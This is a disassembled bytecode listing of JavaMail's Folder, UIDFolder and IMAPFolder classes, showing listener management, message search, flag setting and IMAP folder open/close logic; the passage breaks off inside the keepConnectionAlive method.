.method protected notifyMessageChangedListeners(I, Message)V
.registers 5
00000000 iget-object v0, p0, Folder->messageChangedListeners:Vector
00000004 if-nez v0, :A
:8
00000008 return-void
:A
0000000A new-instance v0, MessageChangedEvent
0000000E invoke-direct MessageChangedEvent-><init>(Object, I, Message)V, v0, p0, p1, p2
00000014 iget-object v1, p0, Folder->messageChangedListeners:Vector
00000018 invoke-direct Folder->queueEvent(MailEvent, Vector)V, p0, v0, v1
0000001E goto :8
.end method
.method protected notifyMessageRemovedListeners(Z, [Message)V
.registers 5
00000000 iget-object v0, p0, Folder->messageCountListeners:Vector
00000004 if-nez v0, :A
:8
00000008 return-void
:A
0000000A new-instance v0, MessageCountEvent
0000000E const/4 v1, 0x2
00000010 invoke-direct MessageCountEvent-><init>(Folder, I, Z, [Message)V, v0, p0, v1, p1, p2
00000016 iget-object v1, p0, Folder->messageCountListeners:Vector
0000001A invoke-direct Folder->queueEvent(MailEvent, Vector)V, p0, v0, v1
00000020 goto :8
.end method
.method public abstract open(I)V
.end method
.method public declared-synchronized removeConnectionListener(ConnectionListener)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Folder->connectionListeners:Vector
00000006 if-eqz v0, :14
:A
0000000A iget-object v0, p0, Folder->connectionListeners:Vector
0000000E invoke-virtual Vector->removeElement(Object)Z, v0, p1
:14
00000014 monitor-exit p0
00000016 return-void
:18
00000018 move-exception v0
0000001A monitor-exit p0
0000001C throw v0
.catchall {:2 .. :14} :18
.end method
.method public declared-synchronized removeFolderListener(FolderListener)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Folder->folderListeners:Vector
00000006 if-eqz v0, :14
:A
0000000A iget-object v0, p0, Folder->folderListeners:Vector
0000000E invoke-virtual Vector->removeElement(Object)Z, v0, p1
:14
00000014 monitor-exit p0
00000016 return-void
:18
00000018 move-exception v0
0000001A monitor-exit p0
0000001C throw v0
.catchall {:2 .. :14} :18
.end method
.method public declared-synchronized removeMessageChangedListener(MessageChangedListener)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Folder->messageChangedListeners:Vector
00000006 if-eqz v0, :14
:A
0000000A iget-object v0, p0, Folder->messageChangedListeners:Vector
0000000E invoke-virtual Vector->removeElement(Object)Z, v0, p1
:14
00000014 monitor-exit p0
00000016 return-void
:18
00000018 move-exception v0
0000001A monitor-exit p0
0000001C throw v0
.catchall {:2 .. :14} :18
.end method
.method public declared-synchronized removeMessageCountListener(MessageCountListener)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Folder->messageCountListeners:Vector
00000006 if-eqz v0, :14
:A
0000000A iget-object v0, p0, Folder->messageCountListeners:Vector
0000000E invoke-virtual Vector->removeElement(Object)Z, v0, p1
:14
00000014 monitor-exit p0
00000016 return-void
:18
00000018 move-exception v0
0000001A monitor-exit p0
0000001C throw v0
.catchall {:2 .. :14} :18
.end method
.method public abstract renameTo(Folder)Z
.end method
.method public search(SearchTerm)[Message
.registers 3
00000000 invoke-virtual Folder->getMessages()[Message, p0
00000006 move-result-object v0
00000008 invoke-virtual Folder->search(SearchTerm, [Message)[Message, p0, p1, v0
0000000E move-result-object v0
00000010 return-object v0
.end method
.method public search(SearchTerm, [Message)[Message
.registers 6
00000000 new-instance v1, Vector
00000004 invoke-direct Vector-><init>()V, v1
0000000A const/4 v0, 0x0
:C
0000000C array-length v2, p2
0000000E if-lt v0, v2, :26
:12
00000012 invoke-virtual Vector->size()I, v1
00000018 move-result v0
0000001A new-array v0, v0, [Message
0000001E invoke-virtual Vector->copyInto([Object)V, v1, v0
00000024 return-object v0
:26
00000026 aget-object v2, p2, v0
0000002A invoke-virtual Message->match(SearchTerm)Z, v2, p1
00000030 move-result v2
00000032 if-eqz v2, :40
:36
00000036 aget-object v2, p2, v0
0000003A invoke-virtual Vector->addElement(Object)V, v1, v2
:40
00000040 add-int/lit8 v0, v0, 0x1
00000044 goto :C
:46
00000046 move-exception v2
00000048 goto :40
.catch MessageRemovedException {:26 .. :40} :46
.end method
.method public declared-synchronized setFlags(I, I, Flags, Z)V
.registers 6
00000000 monitor-enter p0
:2
00000002 if-le p1, p2, :A
:6
00000006 monitor-exit p0
00000008 return-void
:A
0000000A invoke-virtual Folder->getMessage(I)Message, p0, p1
00000010 move-result-object v0
00000012 invoke-virtual Message->setFlags(Flags, Z)V, v0, p3, p4
:18
00000018 add-int/lit8 p1, p1, 0x1
0000001C goto :2
:1E
0000001E move-exception v0
00000020 monitor-exit p0
00000022 throw v0
:24
00000024 move-exception v0
00000026 goto :18
.catch MessageRemovedException {:A .. :18} :24
.catchall {:A .. :18} :1E
.end method
.method public declared-synchronized setFlags([I, Flags, Z)V
.registers 6
00000000 monitor-enter p0
00000002 const/4 v0, 0x0
:4
00000004 array-length v1, p1
:6
00000006 if-lt v0, v1, :E
:A
0000000A monitor-exit p0
0000000C return-void
:E
0000000E aget v1, p1, v0
00000012 invoke-virtual Folder->getMessage(I)Message, p0, v1
00000018 move-result-object v1
0000001A invoke-virtual Message->setFlags(Flags, Z)V, v1, p2, p3
:20
00000020 add-int/lit8 v0, v0, 0x1
00000024 goto :4
:26
00000026 move-exception v0
00000028 monitor-exit p0
0000002A throw v0
:2C
0000002C move-exception v1
0000002E goto :20
.catchall {:4 .. :6} :26
.catch MessageRemovedException {:E .. :20} :2C
.catchall {:E .. :20} :26
.end method
.method public declared-synchronized setFlags([Message, Flags, Z)V
.registers 6
00000000 monitor-enter p0
00000002 const/4 v0, 0x0
:4
00000004 array-length v1, p1
:6
00000006 if-lt v0, v1, :E
:A
0000000A monitor-exit p0
0000000C return-void
:E
0000000E aget-object v1, p1, v0
00000012 invoke-virtual Message->setFlags(Flags, Z)V, v1, p2, p3
:18
00000018 add-int/lit8 v0, v0, 0x1
0000001C goto :4
:1E
0000001E move-exception v0
00000020 monitor-exit p0
00000022 throw v0
:24
00000024 move-exception v1
00000026 goto :18
.catchall {:4 .. :6} :1E
.catch MessageRemovedException {:E .. :18} :24
.catchall {:E .. :18} :1E
.end method
.method public setSubscribed(Z)V
.registers 3
00000000 new-instance v0, MethodNotSupportedException
00000004 invoke-direct MethodNotSupportedException-><init>()V, v0
0000000A throw v0
.end method
.method public toString()String
.registers 2
00000000 invoke-virtual Folder->getFullName()String, p0
00000006 move-result-object v0
00000008 if-eqz v0, :E
:C
0000000C return-object v0
:E
0000000E invoke-super Object->toString()String, p0
00000014 move-result-object v0
00000016 goto :C
.end method
#--------------------------------------------------------------------------------
.class public abstract interface UIDFolder
.super Object
.source ""
.field public static final LASTUID:J = 0xFFFFFFFFFFFFFFFFL
.method public abstract getMessageByUID(J)Message
.end method
.method public abstract getMessagesByUID(J, J)[Message
.end method
.method public abstract getMessagesByUID([J)[Message
.end method
.method public abstract getUID(Message)J
.end method
.method public abstract getUIDValidity()J
.end method
#--------------------------------------------------------------------------------
.class public IMAPFolder
.super Folder
.source ""
.implements ResponseHandler
.implements UIDFolder
.field static final synthetic $assertionsDisabled:Z = false
.field private static final ABORTING:I = 0x2
.field private static final IDLE:I = 0x1
.field private static final RUNNING:I = 0x0
.field protected static final UNKNOWN_SEPARATOR:C = '\uFFFF'
.field protected attributes:[String
.field protected availableFlags:Flags
.field private cachedStatus:Status
.field private cachedStatusTime:J
.field private connectionPoolDebug:Z
.field private debug:Z
.field private doExpungeNotification:Z
.field protected exists:Z
.field protected fullName:String
.field private idleState:I
.field protected isNamespace:Z
.field protected messageCache:Vector
.field protected messageCacheLock:Object
.field protected name:String
.field private opened:Z
.field private out:PrintStream
.field protected permanentFlags:Flags
.field protected protocol:IMAPProtocol
.field private realTotal:I
.field private reallyClosed:Z
.field private recent:I
.field protected separator:C
.field private total:I
.field protected type:I
.field protected uidTable:Hashtable
.field private uidnext:J
.field private uidvalidity:J
.method static constructor <clinit>()V
.registers 1
00000000 const-class v0, IMAPFolder
00000004 invoke-virtual Class->desiredAssertionStatus()Z, v0
0000000A move-result v0
0000000C if-nez v0, :18
:10
00000010 const/4 v0, 0x1
:12
00000012 sput-boolean v0, IMAPFolder->$assertionsDisabled:Z
00000016 return-void
:18
00000018 const/4 v0, 0x0
0000001A goto :12
.end method
.method protected constructor <init>(ListInfo, IMAPStore)V
.registers 5
00000000 iget-object v0, p1, ListInfo->name:String
00000004 iget-char v1, p1, ListInfo->separator:C
00000008 invoke-direct IMAPFolder-><init>(String, C, IMAPStore)V, p0, v0, v1, p2
0000000E iget-boolean v0, p1, ListInfo->hasInferiors:Z
00000012 if-eqz v0, :22
:16
00000016 iget v0, p0, IMAPFolder->type:I
0000001A or-int/lit8 v0, v0, 0x2
0000001E iput v0, p0, IMAPFolder->type:I
:22
00000022 iget-boolean v0, p1, ListInfo->canOpen:Z
00000026 if-eqz v0, :36
:2A
0000002A iget v0, p0, IMAPFolder->type:I
0000002E or-int/lit8 v0, v0, 0x1
00000032 iput v0, p0, IMAPFolder->type:I
:36
00000036 const/4 v0, 0x1
00000038 iput-boolean v0, p0, IMAPFolder->exists:Z
0000003C iget-object v0, p1, ListInfo->attrs:[String
00000040 iput-object v0, p0, IMAPFolder->attributes:[String
00000044 return-void
.end method
.method protected constructor <init>(String, C, IMAPStore)V
.registers 10
00000000 const-wide/16 v4, 0xFFFFFFFFFFFFFFFF
00000004 const/4 v3, 0x1
00000006 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000008 const/4 v2, 0x0
0000000A invoke-direct Folder-><init>(Store)V, p0, p3
00000010 iput-boolean v2, p0, IMAPFolder->exists:Z
00000014 iput-boolean v2, p0, IMAPFolder->isNamespace:Z
00000018 iput-boolean v2, p0, IMAPFolder->opened:Z
0000001C iput-boolean v3, p0, IMAPFolder->reallyClosed:Z
00000020 iput v2, p0, IMAPFolder->idleState:I
00000024 iput v0, p0, IMAPFolder->total:I
00000028 iput v0, p0, IMAPFolder->recent:I
0000002C iput v0, p0, IMAPFolder->realTotal:I
00000030 iput-wide v4, p0, IMAPFolder->uidvalidity:J
00000034 iput-wide v4, p0, IMAPFolder->uidnext:J
00000038 iput-boolean v3, p0, IMAPFolder->doExpungeNotification:Z
0000003C const/4 v0, 0x0
0000003E iput-object v0, p0, IMAPFolder->cachedStatus:Status
00000042 const-wide/16 v0, 0x0
00000046 iput-wide v0, p0, IMAPFolder->cachedStatusTime:J
0000004A iput-boolean v2, p0, IMAPFolder->debug:Z
0000004E if-nez p1, :62
:52
00000052 new-instance v0, NullPointerException
00000056 const-string v1, "Folder name is null"
0000005A invoke-direct NullPointerException-><init>(String)V, v0, v1
00000060 throw v0
:62
00000062 iput-object p1, p0, IMAPFolder->fullName:String
00000066 iput-char p2, p0, IMAPFolder->separator:C
0000006A new-instance v0, Object
0000006E invoke-direct Object-><init>()V, v0
00000074 iput-object v0, p0, IMAPFolder->messageCacheLock:Object
00000078 invoke-virtual IMAPStore->getSession()Session, p3
0000007E move-result-object v0
00000080 invoke-virtual Session->getDebug()Z, v0
00000086 move-result v0
00000088 iput-boolean v0, p0, IMAPFolder->debug:Z
0000008C invoke-virtual IMAPStore->getConnectionPoolDebug()Z, p3
00000092 move-result v0
00000094 iput-boolean v0, p0, IMAPFolder->connectionPoolDebug:Z
00000098 invoke-virtual IMAPStore->getSession()Session, p3
0000009E move-result-object v0
000000A0 invoke-virtual Session->getDebugOut()PrintStream, v0
000000A6 move-result-object v0
000000A8 iput-object v0, p0, IMAPFolder->out:PrintStream
000000AC iget-object v0, p0, IMAPFolder->out:PrintStream
000000B0 if-nez v0, :BC
:B4
000000B4 sget-object v0, System->out:PrintStream
000000B8 iput-object v0, p0, IMAPFolder->out:PrintStream
:BC
000000BC iput-boolean v2, p0, IMAPFolder->isNamespace:Z
000000C0 const v0, 0xFFFF
000000C6 if-eq p2, v0, :106
:CA
000000CA if-eqz p2, :106
:CE
000000CE iget-object v0, p0, IMAPFolder->fullName:String
000000D2 invoke-virtual String->indexOf(I)I, v0, p2
000000D8 move-result v0
000000DA if-lez v0, :106
:DE
000000DE iget-object v1, p0, IMAPFolder->fullName:String
000000E2 invoke-virtual String->length()I, v1
000000E8 move-result v1
000000EA add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
000000EE if-ne v0, v1, :106
:F2
000000F2 iget-object v1, p0, IMAPFolder->fullName:String
000000F6 invoke-virtual String->substring(I, I)String, v1, v2, v0
000000FC move-result-object v0
000000FE iput-object v0, p0, IMAPFolder->fullName:String
00000102 iput-boolean v3, p0, IMAPFolder->isNamespace:Z
:106
00000106 return-void
.end method
.method protected constructor <init>(String, C, IMAPStore, Z)V
.registers 5
00000000 invoke-direct IMAPFolder-><init>(String, C, IMAPStore)V, p0, p1, p2, p3
00000006 iput-boolean p4, p0, IMAPFolder->isNamespace:Z
0000000A return-void
.end method
.method static synthetic access$0(IMAPFolder)Status
.registers 2
00000000 invoke-direct IMAPFolder->getStatus()Status, p0
00000006 move-result-object v0
00000008 return-object v0
.end method
.method static synthetic access$1(IMAPFolder)I
.registers 2
00000000 iget v0, p0, IMAPFolder->idleState:I
00000004 return v0
.end method
.method static synthetic access$2(IMAPFolder, I)V
.registers 2
00000000 iput p1, p0, IMAPFolder->idleState:I
00000004 return-void
.end method
.method private checkClosed()V
.registers 3
00000000 iget-boolean v0, p0, IMAPFolder->opened:Z
00000004 if-eqz v0, :18
:8
00000008 new-instance v0, IllegalStateException
0000000C const-string v1, "This operation is not allowed on an open folder"
00000010 invoke-direct IllegalStateException-><init>(String)V, v0, v1
00000016 throw v0
:18
00000018 return-void
.end method
.method private checkExists()V
.registers 4
00000000 iget-boolean v0, p0, IMAPFolder->exists:Z
00000004 if-nez v0, :4A
:8
00000008 invoke-virtual IMAPFolder->exists()Z, p0
0000000E move-result v0
00000010 if-nez v0, :4A
:14
00000014 new-instance v0, FolderNotFoundException
00000018 new-instance v1, StringBuilder
0000001C iget-object v2, p0, IMAPFolder->fullName:String
00000020 invoke-static String->valueOf(Object)String, v2
00000026 move-result-object v2
00000028 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000002E const-string v2, " not found"
00000032 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000038 move-result-object v1
0000003A invoke-virtual StringBuilder->toString()String, v1
00000040 move-result-object v1
00000042 invoke-direct FolderNotFoundException-><init>(Folder, String)V, v0, p0, v1
00000048 throw v0
:4A
0000004A return-void
.end method
.method private checkFlags(Flags)V
.registers 5
00000000 sget-boolean v0, IMAPFolder->$assertionsDisabled:Z
00000004 if-nez v0, :20
:8
00000008 invoke-static Thread->holdsLock(Object)Z, p0
0000000E move-result v0
00000010 if-nez v0, :20
:14
00000014 new-instance v0, AssertionError
00000018 invoke-direct AssertionError-><init>()V, v0
0000001E throw v0
:20
00000020 iget v0, p0, IMAPFolder->mode:I
00000024 const/4 v1, 0x2
00000026 if-eq v0, v1, :58
:2A
0000002A new-instance v0, IllegalStateException
0000002E new-instance v1, StringBuilder
00000032 const-string v2, "Cannot change flags on READ_ONLY folder: "
00000036 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000003C iget-object v2, p0, IMAPFolder->fullName:String
00000040 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000046 move-result-object v1
00000048 invoke-virtual StringBuilder->toString()String, v1
0000004E move-result-object v1
00000050 invoke-direct IllegalStateException-><init>(String)V, v0, v1
00000056 throw v0
:58
00000058 return-void
.end method
.method private checkOpened()V
.registers 3
00000000 sget-boolean v0, IMAPFolder->$assertionsDisabled:Z
00000004 if-nez v0, :20
:8
00000008 invoke-static Thread->holdsLock(Object)Z, p0
0000000E move-result v0
00000010 if-nez v0, :20
:14
00000014 new-instance v0, AssertionError
00000018 invoke-direct AssertionError-><init>()V, v0
0000001E throw v0
:20
00000020 iget-boolean v0, p0, IMAPFolder->opened:Z
00000024 if-nez v0, :50
:28
00000028 iget-boolean v0, p0, IMAPFolder->reallyClosed:Z
0000002C if-eqz v0, :40
:30
00000030 new-instance v0, IllegalStateException
00000034 const-string v1, "This operation is not allowed on a closed folder"
00000038 invoke-direct IllegalStateException-><init>(String)V, v0, v1
0000003E throw v0
:40
00000040 new-instance v0, FolderClosedException
00000044 const-string v1, "Lost folder connection to server"
00000048 invoke-direct FolderClosedException-><init>(Folder, String)V, v0, p0, v1
0000004E throw v0
:50
00000050 return-void
.end method
.method private checkRange(I)V
.registers 6
00000000 const/4 v0, 0x1
00000002 if-ge p1, v0, :12
:6
00000006 new-instance v0, IndexOutOfBoundsException
0000000A invoke-direct IndexOutOfBoundsException-><init>()V, v0
00000010 throw v0
:12
00000012 iget v0, p0, IMAPFolder->total:I
00000016 if-gt p1, v0, :1C
:1A
0000001A return-void
:1C
0000001C iget-object v1, p0, IMAPFolder->messageCacheLock:Object
00000020 monitor-enter v1
00000022 const/4 v0, 0x0
:24
00000024 invoke-direct IMAPFolder->keepConnectionAlive(Z)V, p0, v0
:2A
0000002A monitor-exit v1
:2C
0000002C iget v0, p0, IMAPFolder->total:I
00000030 if-le p1, v0, :1A
:34
00000034 new-instance v0, IndexOutOfBoundsException
00000038 invoke-direct IndexOutOfBoundsException-><init>()V, v0
0000003E throw v0
:40
00000040 move-exception v0
:42
00000042 new-instance v2, FolderClosedException
00000046 invoke-virtual ConnectionException->getMessage()String, v0
0000004C move-result-object v0
0000004E invoke-direct FolderClosedException-><init>(Folder, String)V, v2, p0, v0
00000054 throw v2
:56
00000056 move-exception v0
00000058 monitor-exit v1
:5A
0000005A throw v0
:5C
0000005C move-exception v0
:5E
0000005E new-instance v2, MessagingException
00000062 invoke-virtual ProtocolException->getMessage()String, v0
00000068 move-result-object v3
0000006A invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
00000070 throw v2
.catch ConnectionException {:24 .. :2A} :40
.catch ProtocolException {:24 .. :2A} :5C
.catchall {:24 .. :2A} :56
.catchall {:2A .. :2C} :56
.catchall {:42 .. :5A} :56
.catchall {:5E .. :72} :56
.end method
.method private cleanup(Z)V
.registers 4
00000000 const/4 v1, 0x0
00000002 const/4 v0, 0x0
00000004 invoke-direct IMAPFolder->releaseProtocol(Z)V, p0, p1
0000000A iput-object v0, p0, IMAPFolder->protocol:IMAPProtocol
0000000E iput-object v0, p0, IMAPFolder->messageCache:Vector
00000012 iput-object v0, p0, IMAPFolder->uidTable:Hashtable
00000016 iput-boolean v1, p0, IMAPFolder->exists:Z
0000001A iput-object v0, p0, IMAPFolder->attributes:[String
0000001E iput-boolean v1, p0, IMAPFolder->opened:Z
00000022 iput v1, p0, IMAPFolder->idleState:I
00000026 const/4 v0, 0x3
00000028 invoke-virtual IMAPFolder->notifyConnectionListeners(I)V, p0, v0
0000002E return-void
.end method
.method private close(Z, Z)V
.registers 7
00000000 sget-boolean v0, IMAPFolder->$assertionsDisabled:Z
00000004 if-nez v0, :20
:8
00000008 invoke-static Thread->holdsLock(Object)Z, p0
0000000E move-result v0
00000010 if-nez v0, :20
:14
00000014 new-instance v0, AssertionError
00000018 invoke-direct AssertionError-><init>()V, v0
0000001E throw v0
:20
00000020 iget-object v1, p0, IMAPFolder->messageCacheLock:Object
00000024 monitor-enter v1
:26
00000026 iget-boolean v0, p0, IMAPFolder->opened:Z
0000002A if-nez v0, :4C
:2E
0000002E iget-boolean v0, p0, IMAPFolder->reallyClosed:Z
00000032 if-eqz v0, :4C
:36
00000036 new-instance v0, IllegalStateException
0000003A const-string v2, "This operation is not allowed on a closed folder"
0000003E invoke-direct IllegalStateException-><init>(String)V, v0, v2
00000044 throw v0
:46
00000046 move-exception v0
00000048 monitor-exit v1
:4A
0000004A throw v0
:4C
0000004C const/4 v0, 0x1
:4E
0000004E iput-boolean v0, p0, IMAPFolder->reallyClosed:Z
00000052 iget-boolean v0, p0, IMAPFolder->opened:Z
00000056 if-nez v0, :5E
:5A
0000005A monitor-exit v1
:5C
0000005C return-void
:5E
0000005E invoke-virtual IMAPFolder->waitIfIdle()V, p0
00000064 if-eqz p2, :CE
:68
00000068 iget-boolean v0, p0, IMAPFolder->debug:Z
0000006C if-eqz v0, :A8
:70
00000070 iget-object v0, p0, IMAPFolder->out:PrintStream
00000074 new-instance v2, StringBuilder
00000078 const-string v3, "DEBUG: forcing folder "
0000007C invoke-direct StringBuilder-><init>(String)V, v2, v3
00000082 iget-object v3, p0, IMAPFolder->fullName:String
00000086 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
0000008C move-result-object v2
0000008E const-string v3, " to close"
00000092 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000098 move-result-object v2
0000009A invoke-virtual StringBuilder->toString()String, v2
000000A0 move-result-object v2
000000A2 invoke-virtual PrintStream->println(String)V, v0, v2
:A8
000000A8 iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
000000AC if-eqz v0, :BA
:B0
000000B0 iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
000000B4 invoke-virtual IMAPProtocol->disconnect()V, v0
:BA
000000BA iget-boolean v0, p0, IMAPFolder->opened:Z
000000BE if-eqz v0, :CA
:C2
000000C2 const/4 v0, 0x1
000000C4 invoke-direct IMAPFolder->cleanup(Z)V, p0, v0
:CA
000000CA monitor-exit v1
:CC
000000CC goto :5C
:CE
000000CE iget-object v0, p0, IMAPFolder->store:Store
000000D2 check-cast v0, IMAPStore
000000D6 invoke-virtual IMAPStore->isConnectionPoolFull()Z, v0
000000DC move-result v0
000000DE if-eqz v0, :144
:E2
000000E2 iget-boolean v0, p0, IMAPFolder->debug:Z
000000E6 if-eqz v0, :F8
:EA
000000EA iget-object v0, p0, IMAPFolder->out:PrintStream
000000EE const-string v2, "DEBUG: pool is full, not adding an Authenticated connection"
000000F2 invoke-virtual PrintStream->println(String)V, v0, v2
:F8
000000F8 if-eqz p1, :106
:FC
000000FC iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
00000100 invoke-virtual IMAPProtocol->close()V, v0
:106
00000106 iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
0000010A if-eqz v0, :BA
:10E
0000010E iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
00000112 invoke-virtual IMAPProtocol->logout()V, v0
:118
00000118 goto :BA
:11A
0000011A move-exception v0
:11C
0000011C new-instance v2, MessagingException
00000120 invoke-virtual ProtocolException->getMessage()String, v0
00000126 move-result-object v3
00000128 invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
0000012E throw v2
:130
00000130 move-exception v0
:132
00000132 iget-boolean v2, p0, IMAPFolder->opened:Z
00000136 if-eqz v2, :142
:13A
0000013A const/4 v2, 0x1
0000013C invoke-direct IMAPFolder->cleanup(Z)V, p0, v2
:142
00000142 throw v0
:144
00000144 if-nez p1, :160
:148
00000148 iget v0, p0, IMAPFolder->mode:I
:14C
0000014C const/4 v2, 0x2
0000014E if-ne v0, v2, :160
:152
00000152 iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
00000156 iget-object v2, p0, IMAPFolder->fullName:String
0000015A invoke-virtual IMAPProtocol->examine(String)MailboxInfo, v0, v2
:160
00000160 iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
00000164 if-eqz v0, :BA
:168
00000168 iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
0000016C invoke-virtual IMAPProtocol->close()V, v0
00000172 goto :BA
:174
00000174 move-exception v0
00000176 iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
0000017A if-eqz v0, :160
:17E
0000017E iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
00000182 invoke-virtual IMAPProtocol->disconnect()V, v0
:188
00000188 goto :160
.catchall {:26 .. :4A} :46
.catchall {:4E .. :5C} :46
.catch ProtocolException {:5E .. :BA} :11A
.catchall {:5E .. :BA} :130
.catchall {:BA .. :CC} :46
.catch ProtocolException {:CE .. :118} :11A
.catchall {:CE .. :118} :130
.catchall {:11C .. :130} :130
.catchall {:132 .. :144} :46
.catch ProtocolException {:148 .. :14C} :11A
.catchall {:148 .. :14C} :130
.catch ProtocolException {:152 .. :160} :174
.catchall {:152 .. :160} :130
.catch ProtocolException {:160 .. :188} :11A
.catchall {:160 .. :188} :130
.end method
.method private declared-synchronized doList(String, Z)[Folder
.registers 11
00000000 const/4 v4, 0x0
00000002 monitor-enter p0
:4
00000004 invoke-direct IMAPFolder->checkExists()V, p0
0000000A invoke-direct IMAPFolder->isDirectory()Z, p0
00000010 move-result v0
00000012 if-nez v0, :20
:16
00000016 const/4 v0, 0x0
00000018 new-array v0, v0, [Folder
:1C
0000001C monitor-exit p0
0000001E return-object v0
:20
00000020 invoke-virtual IMAPFolder->getSeparator()C, p0
00000026 move-result v1
00000028 new-instance v0, IMAPFolder$2
0000002C invoke-direct IMAPFolder$2-><init>(IMAPFolder, Z, C, String)V, v0, p0, p2, v1, p1
00000032 invoke-virtual IMAPFolder->doCommandIgnoreFailure(IMAPFolder$ProtocolCommand)Object, p0, v0
00000038 move-result-object v0
0000003A check-cast v0, [ListInfo
0000003E if-nez v0, :4A
:42
00000042 const/4 v0, 0x0
00000044 new-array v0, v0, [Folder
00000048 goto :1C
:4A
0000004A array-length v2, v0
0000004C if-lez v2, :8E
:50
00000050 const/4 v2, 0x0
00000052 aget-object v2, v0, v2
00000056 iget-object v2, v2, ListInfo->name:String
0000005A new-instance v3, StringBuilder
0000005E iget-object v5, p0, IMAPFolder->fullName:String
00000062 invoke-static String->valueOf(Object)String, v5
00000068 move-result-object v5
0000006A invoke-direct StringBuilder-><init>(String)V, v3, v5
00000070 invoke-virtual StringBuilder->append(C)StringBuilder, v3, v1
00000076 move-result-object v1
00000078 invoke-virtual StringBuilder->toString()String, v1
0000007E move-result-object v1
00000080 invoke-virtual String->equals(Object)Z, v2, v1
00000086 move-result v1
00000088 if-eqz v1, :8E
:8C
0000008C const/4 v4, 0x1
:8E
0000008E array-length v1, v0
00000090 sub-int/2addr v1, v4
00000092 new-array v2, v1, [IMAPFolder
00000096 move v3, v4
:98
00000098 array-length v1, v0
0000009A if-lt v3, v1, :A2
:9E
0000009E move-object v0, v2
000000A0 goto :1C
:A2
000000A2 sub-int v5, v3, v4
000000A6 new-instance v6, IMAPFolder
000000AA aget-object v7, v0, v3
000000AE iget-object v1, p0, IMAPFolder->store:Store
000000B2 check-cast v1, IMAPStore
000000B6 invoke-direct IMAPFolder-><init>(ListInfo, IMAPStore)V, v6, v7, v1
000000BC aput-object v6, v2, v5
:C0
000000C0 add-int/lit8 v1, v3, 0x1
000000C4 move v3, v1
000000C6 goto :98
:C8
000000C8 move-exception v0
000000CA monitor-exit p0
000000CC throw v0
.catchall {:4 .. :1C} :C8
.catchall {:20 .. :C0} :C8
.end method
.method private findName([ListInfo, String)I
.registers 6
00000000 const/4 v1, 0x0
00000002 move v0, v1
:4
00000004 array-length v2, p1
00000006 if-lt v0, v2, :12
:A
0000000A array-length v2, p1
0000000C if-lt v0, v2, :2C
:10
00000010 return v1
:12
00000012 aget-object v2, p1, v0
00000016 iget-object v2, v2, ListInfo->name:String
0000001A invoke-virtual String->equals(Object)Z, v2, p2
00000020 move-result v2
00000022 if-nez v2, :A
:26
00000026 add-int/lit8 v0, v0, 0x1
0000002A goto :4
:2C
0000002C move v1, v0
0000002E goto :10
.end method
.method private getProtocol()IMAPProtocol
.registers 2
00000000 sget-boolean v0, IMAPFolder->$assertionsDisabled:Z
00000004 if-nez v0, :24
:8
00000008 iget-object v0, p0, IMAPFolder->messageCacheLock:Object
0000000C invoke-static Thread->holdsLock(Object)Z, v0
00000012 move-result v0
00000014 if-nez v0, :24
:18
00000018 new-instance v0, AssertionError
0000001C invoke-direct AssertionError-><init>()V, v0
00000022 throw v0
:24
00000024 invoke-virtual IMAPFolder->waitIfIdle()V, p0
0000002A iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
0000002E return-object v0
.end method
.method private getStatus()Status
.registers 8
00000000 const/4 v1, 0x0
00000002 iget-object v0, p0, IMAPFolder->store:Store
00000006 check-cast v0, IMAPStore
0000000A invoke-virtual IMAPStore->getStatusCacheTimeout()I, v0
00000010 move-result v2
00000012 if-lez v2, :3C
:16
00000016 iget-object v0, p0, IMAPFolder->cachedStatus:Status
0000001A if-eqz v0, :3C
:1E
0000001E invoke-static System->currentTimeMillis()J
00000024 move-result-wide v3
00000026 iget-wide v5, p0, IMAPFolder->cachedStatusTime:J
0000002A sub-long/2addr v3, v5
0000002C int-to-long v5, v2
0000002E cmp-long v0, v3, v5
00000032 if-gez v0, :3C
:36
00000036 iget-object v0, p0, IMAPFolder->cachedStatus:Status
:3A
0000003A return-object v0
:3C
0000003C invoke-virtual IMAPFolder->getStoreProtocol()IMAPProtocol, p0
00000042 move-result-object v1
00000044 iget-object v0, p0, IMAPFolder->fullName:String
00000048 const/4 v3, 0x0
0000004A invoke-virtual IMAPProtocol->status(String, [String)Status, v1, v0, v3
00000050 move-result-object v0
00000052 if-lez v2, :66
:56
00000056 iput-object v0, p0, IMAPFolder->cachedStatus:Status
0000005A invoke-static System->currentTimeMillis()J
00000060 move-result-wide v2
00000062 iput-wide v2, p0, IMAPFolder->cachedStatusTime:J
:66
00000066 invoke-virtual IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
0000006C goto :3A
:6E
0000006E move-exception v0
00000070 invoke-virtual IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
00000076 throw v0
.catchall {:3C .. :66} :6E
.end method
.method private isDirectory()Z
.registers 2
00000000 iget v0, p0, IMAPFolder->type:I
00000004 and-int/lit8 v0, v0, 0x2
00000008 if-eqz v0, :10
:C
0000000C const/4 v0, 0x1
:E
0000000E return v0
:10
00000010 const/4 v0, 0x0
00000012 goto :E
.end method
.method private keepConnectionAlive(Z)V
.registers 10
00000000 const-wide/16 v6, 0x3E8
